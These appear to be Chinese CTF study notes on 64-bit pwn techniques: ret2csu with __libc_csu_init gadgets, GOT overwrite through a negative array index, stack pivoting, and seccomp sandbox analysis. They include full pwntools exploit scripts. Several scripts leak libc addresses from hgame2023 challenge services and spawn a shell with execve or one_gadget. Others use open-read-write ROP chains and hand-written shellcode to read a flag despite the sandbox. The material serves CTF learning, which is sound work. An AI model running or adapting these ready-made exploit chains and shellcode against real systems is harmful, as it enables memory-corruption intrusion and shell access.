在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,分别是rdi、rsi、rdx、rcx、r8、r9,第7个以后的参数存放在栈中,gadget不够时可以使用__libc_csu_init 中的 gadgets
利用libc_csu_init中的两段代码片段来实现3个参数的传递
与ctfwiki上的例题有细微的差别,但解题思路是一样的
.text:0000000000401190 ; void _libc_csu_init(void)
.text:0000000000401190 public __libc_csu_init
.text:0000000000401190 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000401190 ; __unwind {
.text:0000000000401190 push r15
.text:0000000000401192 mov r15, rdx
.text:0000000000401195 push r14
.text:0000000000401197 mov r14, rsi
.text:000000000040119A push r13
.text:000000000040119C mov r13d, edi
.text:000000000040119F push r12
.text:00000000004011A1 lea r12, __frame_dummy_init_array_entry
.text:00000000004011A8 push rbp
.text:00000000004011A9 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011B0 push rbx
.text:00000000004011B1 sub rbp, r12
.text:00000000004011B4 sub rsp, 8
.text:00000000004011B8 call _init_proc
.text:00000000004011BD sar rbp, 3
.text:00000000004011C1 jz short loc_4011DE
.text:00000000004011C3 xor ebx, ebx
.text:00000000004011C5 nop dword ptr [rax]
.text:00000000004011C8
.text:00000000004011C8 loc_4011C8: ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011C8 mov rdx, r15
.text:00000000004011CB mov rsi, r14
.text:00000000004011CE mov edi, r13d
.text:00000000004011D1 call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
.text:00000000004011D5 add rbx, 1
.text:00000000004011D9 cmp rbp, rbx
.text:00000000004011DC jnz short loc_4011C8
.text:00000000004011DE
.text:00000000004011DE loc_4011DE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011DE add rsp, 8
.text:00000000004011E2 pop rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn
.text:00000000004011EC ; } // starts at 401190
.text:00000000004011EC __libc_csu_init endp
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level = 'debug') level5 = ELF('./level5') sh = process('./level5') write_got = level5.got['write'] read_got = level5.got['read'] main_addr = level5.symbols['main'] bss_base = level5.bss() csu_front_addr = 0x00000000004011C8 csu_end_addr = 0x00000000004011E2 fakeebp = b'b' * 8 #def csu(0,1,call,rdi,rsi,rdx,last) def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r13d # rsi=r14 # rdx=r15 payload = b'a' * (0x80) + fakeebp payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += b'a' * (0x38) payload += p64(last) sh.send(payload) #sleep(1) sh.recvuntil(b'Hello, World\n') ## RDI, RSI, RDX, RCX, R8, R9, more on the stack ## write(1,write_got,8) csu(0, 1, write_got, 1, write_got, 8, main_addr) write_addr = u64(sh.recv(8)) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') execve_addr = libc_base + libc.dump('execve') log.success('execve_addr ' + hex(execve_addr)) ##gdb.attach(sh) ## read(0,bss_base,16) ## read execve_addr and /bin/sh\x00 sh.recvuntil(b'Hello, World\n') csu(0, 1, read_got, 0, bss_base, 16, main_addr) sh.send(p64(execve_addr) + b'/bin/sh\x00') sh.recvuntil(b'Hello, World\n') ## execve(bss_base+8) csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr) sh.interactive()
.got.plt 相当于.plt的GOT全局偏移表,你可以简单理解成,它存放的就是外部函数的入口地址。也就是说,如果我们将这个函数的地址改成另外一个函数的地址,当程序调用该函数时,实际上会调用到另外一个函数。
数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段
RELRO:Partial RELRO-->got表可修改
可以看到输入负数也可以,确定有数组越界
第一个shell不行
第二个可以
from pwn import * #from LibcSearcher import * context(os="linux",arch="amd64",log_level='debug') local=1 if local==1: io=remote('week-1.hgame.lwsec.cn',32448) else: io=process("./pwn") def duan(): gdb.attach(io) pause() elf=ELF("./pwn") libc=ELF("./libc-2.31.so") start=elf.symbols["_start"] print("start-->",start) io.recvuntil(b'one.\n') io.sendline(b'-6') io.recvuntil(b"name\n") io.send(p64(start)) #duan() io.recvuntil(b'one.\n') io.sendline(b'-7') io.recvuntil(b"name\n") io.send(b'\xc0') read_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print('read-->',hex(read_addr)) libc_base=read_addr-libc.symbols['read'] print('libc_base-->',hex(libc_base)) one_gadget=[0xe3afe,0xe3b01,0xe3b04] shell=libc_base+one_gadget[1] io.recvuntil(b'one.\n') io.sendline(b'-6') io.recvuntil(b"name\n") io.send(p64(shell)) io.interactive() ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
参考链接PWN!栈迁移原理
将ebp转移到bss或data段,在bss段或data段构造gadget然后在这里执行
ret相当于pop eip;
mov esp,ebp 让esp指向ebp的地址
pop ebp 把栈顶的值弹到ebp寄存器里,此时ebp就指向了fake ebp1
如果在fake ebp1处写入fake ebp2的地址,然后再来一步leave就可以让ebp指向fake ebp2
## 沙盒机制
就是限制系统调用,pwn题一般限制execve的系统调用
## 开启沙盒的两种方式
##### prctl函数调用
int sub_1269() { __int16 v1; // [rsp+0h] [rbp-70h] BYREF __int16 *v2; // [rsp+8h] [rbp-68h] __int16 v3; // [rsp+10h] [rbp-60h] BYREF char v4; // [rsp+12h] [rbp-5Eh] char v5; // [rsp+13h] [rbp-5Dh] int v6; // [rsp+14h] [rbp-5Ch] __int16 v7; // [rsp+18h] [rbp-58h] char v8; // [rsp+1Ah] [rbp-56h] char v9; // [rsp+1Bh] [rbp-55h] int v10; // [rsp+1Ch] [rbp-54h] __int16 v11; // [rsp+20h] [rbp-50h] char v12; // [rsp+22h] [rbp-4Eh] char v13; // [rsp+23h] [rbp-4Dh] int v14; // [rsp+24h] [rbp-4Ch] __int16 v15; // [rsp+28h] [rbp-48h] char v16; // [rsp+2Ah] [rbp-46h] char v17; // [rsp+2Bh] [rbp-45h] int v18; // [rsp+2Ch] [rbp-44h] __int16 v19; // [rsp+30h] [rbp-40h] char v20; // [rsp+32h] [rbp-3Eh] char v21; // [rsp+33h] [rbp-3Dh] int v22; // [rsp+34h] [rbp-3Ch] __int16 v23; // [rsp+38h] [rbp-38h] char v24; // [rsp+3Ah] [rbp-36h] char v25; // [rsp+3Bh] [rbp-35h] int v26; // [rsp+3Ch] [rbp-34h] __int16 v27; // [rsp+40h] [rbp-30h] char v28; // [rsp+42h] [rbp-2Eh] char v29; // [rsp+43h] [rbp-2Dh] int v30; // [rsp+44h] [rbp-2Ch] __int16 v31; // [rsp+48h] [rbp-28h] char v32; // [rsp+4Ah] [rbp-26h] char v33; // [rsp+4Bh] [rbp-25h] int v34; // [rsp+4Ch] [rbp-24h] __int16 v35; // [rsp+50h] [rbp-20h] char v36; // [rsp+52h] [rbp-1Eh] char v37; // [rsp+53h] [rbp-1Dh] int v38; // [rsp+54h] [rbp-1Ch] __int16 v39; // [rsp+58h] [rbp-18h] char v40; // [rsp+5Ah] [rbp-16h] char v41; // [rsp+5Bh] [rbp-15h] int v42; // [rsp+5Ch] [rbp-14h] __int16 v43; // [rsp+60h] [rbp-10h] char v44; // [rsp+62h] [rbp-Eh] char v45; // [rsp+63h] [rbp-Dh] int v46; // [rsp+64h] [rbp-Ch] __int16 v47; // [rsp+68h] [rbp-8h] char v48; // [rsp+6Ah] [rbp-6h] char v49; // [rsp+6Bh] [rbp-5h] int v50; // [rsp+6Ch] [rbp-4h] prctl(38, 1LL, 0LL, 0LL, 0LL); v3 = 32; v4 = 0; v5 = 0; v6 = 4; v7 = 21; v8 = 0; v9 = 9; v10 = -1073741762; v11 = 32; v12 = 0; v13 = 0; v14 = 0; v15 = 53; v16 = 7; v17 = 0; v18 = 0x40000000; v19 = 21; v20 = 6; v21 = 0; v22 = 59; v23 = 21; v24 = 0; v25 = 4; v26 = 1; v27 = 32; v28 = 0; v29 = 0; v30 = 36; v31 = 21; v32 = 0; v33 = 2; v34 = 0; v35 = 32; v36 = 0; v37 = 0; v38 = 32; v39 = 21; v40 = 1; v41 = 0; v42 = 16; v43 = 6; v44 = 0; v45 = 0; v46 = 2147418112; v47 = 6; v48 = 0; v49 = 0; v50 = 0; v1 = 12; v2 = &v3; return prctl(22, 2LL, &v1); }
##### seccomp库函数
__int64 sandbox() { __int64 v1; // [rsp+8h] [rbp-8h] // 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U) // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式 v1 = seccomp_init(0LL); if ( !v1 ) { puts("seccomp error"); exit(0); } // seccomp_rule_add添加规则 // v1对应上面初始化的返回值 // 0x7fff0000即对应宏SCMP_ACT_ALLOW // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制 seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL); // seccomp_load - Load the current seccomp filter into the kernel if ( seccomp_load(v1) < 0 ) { // seccomp_release - Release the seccomp filter state // 但对已经load的过滤规则不影响 seccomp_release(v1); puts("seccomp error"); exit(0); } return seccomp_release(v1); }
##### seccomp-tools识别沙盒
seccomp-tools识别沙盒
#### hgame2023 week1 orw
##### checksec
可以看文字提示有沙盒
或者点进去看看
int sandbox() { __int16 v1; // [rsp+0h] [rbp-40h] BYREF __int16 *v2; // [rsp+8h] [rbp-38h] __int16 v3; // [rsp+10h] [rbp-30h] BYREF char v4; // [rsp+12h] [rbp-2Eh] char v5; // [rsp+13h] [rbp-2Dh] int v6; // [rsp+14h] [rbp-2Ch] __int16 v7; // [rsp+18h] [rbp-28h] char v8; // [rsp+1Ah] [rbp-26h] char v9; // [rsp+1Bh] [rbp-25h] int v10; // [rsp+1Ch] [rbp-24h] __int16 v11; // [rsp+20h] [rbp-20h] char v12; // [rsp+22h] [rbp-1Eh] char v13; // [rsp+23h] [rbp-1Dh] int v14; // [rsp+24h] [rbp-1Ch] __int16 v15; // [rsp+28h] [rbp-18h] char v16; // [rsp+2Ah] [rbp-16h] char v17; // [rsp+2Bh] [rbp-15h] int v18; // [rsp+2Ch] [rbp-14h] __int16 v19; // [rsp+30h] [rbp-10h] char v20; // [rsp+32h] [rbp-Eh] char v21; // [rsp+33h] [rbp-Dh] int v22; // [rsp+34h] [rbp-Ch] v3 = 32; v4 = 0; v5 = 0; v6 = 0; v7 = 21; v8 = 2; v9 = 0; v10 = 59; v11 = 21; v12 = 1; v13 = 0; v14 = 322; v15 = 6; v16 = 0; v17 = 0; v18 = 2147418112; v19 = 6; v20 = 0; v21 = 0; v22 = 0; v1 = 5; v2 = &v3; prctl(38, 1LL, 0LL, 0LL, 0LL); return prctl(22, 2LL, &v1); }
可以看到限制了execve的系统调用
从ida上看,这个地址已经超出了bss段的地址
但这一段依然可读可写可执行,所以应该是在data段
payload=p64(pop_rdi)+p64(buf+0x88)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open) payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(buf+0x90)+p64(0) payload+=p64(pop_rdx)+p64(0x100)+p64(read) payload+=p64(pop_rdi)+p64(buf+0x90)+p64(puts_plt)+b'flag\x00aaa'
这里flag字符串是自己写入的,open读取这个位置的flag,然后read在下个地址把它读入,最后puts输出flag
from pwn import * context(os="linux",arch="amd64",log_level='debug') elf=ELF("./stack_pivoting") libc=ELF("./libc-2.31.so") local=1 if local==1: io=remote('week-1.hgame.lwsec.cn',30891) else: io=process("./stack_pivoting") def duan(): gdb.attach(io) pause() pop_rdi=0x401393 pop_rsi_r15=0x401391 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] start=elf.symbols['_start'] read=elf.plt['read'] payload=cyclic(0x100+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start) io.sendafter(b'task.\n',payload) puts_got=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00')) libc_base=puts_got-libc.symbols['puts'] print('libc_base-->'+hex(libc_base)) buf=elf.bss()+0x150 gets=libc_base+libc.symbols['gets'] payload=cyclic(0x100+0x8)+p64(pop_rdi)+p64(buf)+p64(gets)+p64(start) io.sendafter(b'task.\n',payload) open=libc_base+libc.symbols['open'] pop_rdx=libc_base+0x142c92 #open('buf+0x88',0) #read(3,buf+0x90,0x100) 第一次打开文件用3 #puts(buf+0x90) payload=p64(pop_rdi)+p64(buf+0x88)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open) payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(buf+0x90)+p64(0) payload+=p64(pop_rdx)+p64(0x100)+p64(read) payload+=p64(pop_rdi)+p64(buf+0x90)+p64(puts_plt)+b'flag\x00aaa' io.sendline(payload) leave_ret=0x4012e payload=cyclic(0x100)+p64(buf-0x8)+p64(leave_ret) io.sendafter(b'task.\n',payload) io.recv() ''' 0x000000000040138c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040138e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401390 : pop r14 ; pop r15 ; ret 0x0000000000401392 : pop r15 ; ret 0x000000000040138b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040138f : pop rbp ; pop r14 ; pop r15 ; ret 0x000000000040117d : pop rbp ; ret 0x0000000000401393 : pop rdi ; ret 0x0000000000401391 : pop rsi ; pop r15 ; ret 0x000000000040138d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040101a : ret 0x00000000004012a8 : ret 0x2be '''
保护全开
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL)
这里的mmap应该是向0xCAFE0000LL申请了一段0x1000uLL的空间,7代表可读可写可执行
因为read只读入0x10个字节,空间太小
AX 0x0
RBX 0x5555555553d0 (__libc_csu_init) ◂— endbr64
RCX 0x7ffff7ee1d3e (prctl+14) ◂— cmp rax, -0xfff
RDX 0xcafe0000 ◂— 0xa6e /* 'n\n' */
RDI 0x16
RSI 0x2
R8 0x0
R9 0x0
R10 0x7ffff7ee1d3e (prctl+14) ◂— cmp rax, -0xfff
R11 0x217
R12 0x555555555100 (_start) ◂— endbr64
R13 0x7fffffffe060 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdf70 ◂— 0x0
RSP 0x7fffffffdf60 —▸ 0x7fffffffe060 ◂— 0x1
RIP 0x5555555553b9 (main+131) ◂— call rdx
所以写一下汇编
shellcode=asm('''
mov rdi,rax;
mov rsi,0xCAFE0010;
syscall;
nop;
''')
shellcode= asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
##### expshellcode= asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')